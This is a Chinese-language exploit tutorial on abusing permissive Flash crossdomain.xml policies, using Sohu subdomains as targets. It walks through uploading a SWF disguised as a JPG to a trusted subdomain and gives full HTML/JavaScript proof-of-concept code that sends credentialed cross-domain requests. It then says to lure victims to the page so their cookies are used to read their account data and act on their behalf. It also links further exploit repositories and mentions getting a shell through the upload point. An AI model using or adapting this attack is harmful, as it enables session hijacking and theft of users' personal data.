漏洞利用一:
目标站点crossdomain文件配置星号,例如
http://news.sohu.com/crossdomain.xml
那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。
PS:这个搜狐的新闻站并没有什么敏感操作,所以跨域请求并没有意义,只能获取一下它的html源码,这里只是举例
这个POC源码在git上,链接:https://github.com/nccgroup/CrossSiteContentHijacking (下载回来打开html文件即可)
接下来需要做的,就是找到一个有敏感操作又配置了*号的站点,然后使用此poc生成你需要劫持的操作,如修改昵称、关注某人等
使用方法,如果是Get直接填写Target Page,如果是Post,填写好POST Data,然后点击Show url with Parameters即可生成链接,然后使用短链接即可(你需要把此项目放在服务器也就是公网上,或者你可以放在百度云新浪云或者任意一个shell上)
漏洞利用二:
然而各大站点都有这种跨域的安全意识,所以他们会把有敏感操作的站点设置各种信任域,例如:(搜狐的用户中心)
http://i.sohu.com/crossdomain.xml
<allow-access-from domain="*.sohu.com" />
<allow-access-from domain="*.sohu.com.cn" />
<allow-access-from domain="*.itc.cn" />
也就是说,只有这些信任域的flash才能与它进行通讯,但是这样也并不安全,我们只需要让flash在这其中任意一个域下即可,简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..(我这里指的没有过滤仅指没有过滤文件内容,如果你可以控制后缀和路径还能让它解析的话那就拿shell吧) 找了一会,找到上传点(漏洞还未公开这里不方便公布),我们将swf后缀改为jpg,然后上传,得到: http://****.sohu.com/2015******.jpg 接下来你可以又可以使用上面的POC进行劫持操作了,当然也有大牛自己写的版本。 POC:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk"/>
<title>csrftest</title>
<script>
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.withCredentials = "true";
xmlhttp.send(content);
}
function sendToJavaScript(strData){
var theDiv = document.getElementById("HijackedData");
var content = document.createTextNode(strData);
theDiv.appendChild(content);
theDiv.innerHTML += '<br/>'
//var posturl = ""; //如果是post,请去掉这三行的注释
//var postdata= "";
//Connection("POST",posturl,postdata,function(callback){});
}
</script>
</head>
<body>
<div id=HijackedData></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/upload/2015.jpg"> //你上传的图片后缀的flash
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://127.0.0.1"> //你要请求的地址
</object>
</body>
</html>
最后让用户访问你构造的POC页面,即可达到劫持的效果
如图,成功跨域获取带有搜狐cookie用户的用户名以及其他资料,当然你还可以模拟其他任何操作,基本用户能做什么,你就能做什么。
相关资料:
http://www.freebuf.com/articles/web/37432.html
http://www.freebuf.com/articles/web/35353.html
案例:
http://wooyun.org/bugs/wooyun-2010-088845
POC:
https://github.com/gursev/flash-xdomain-xploit
https://github.com/nccgroup/CrossSiteContentHijacking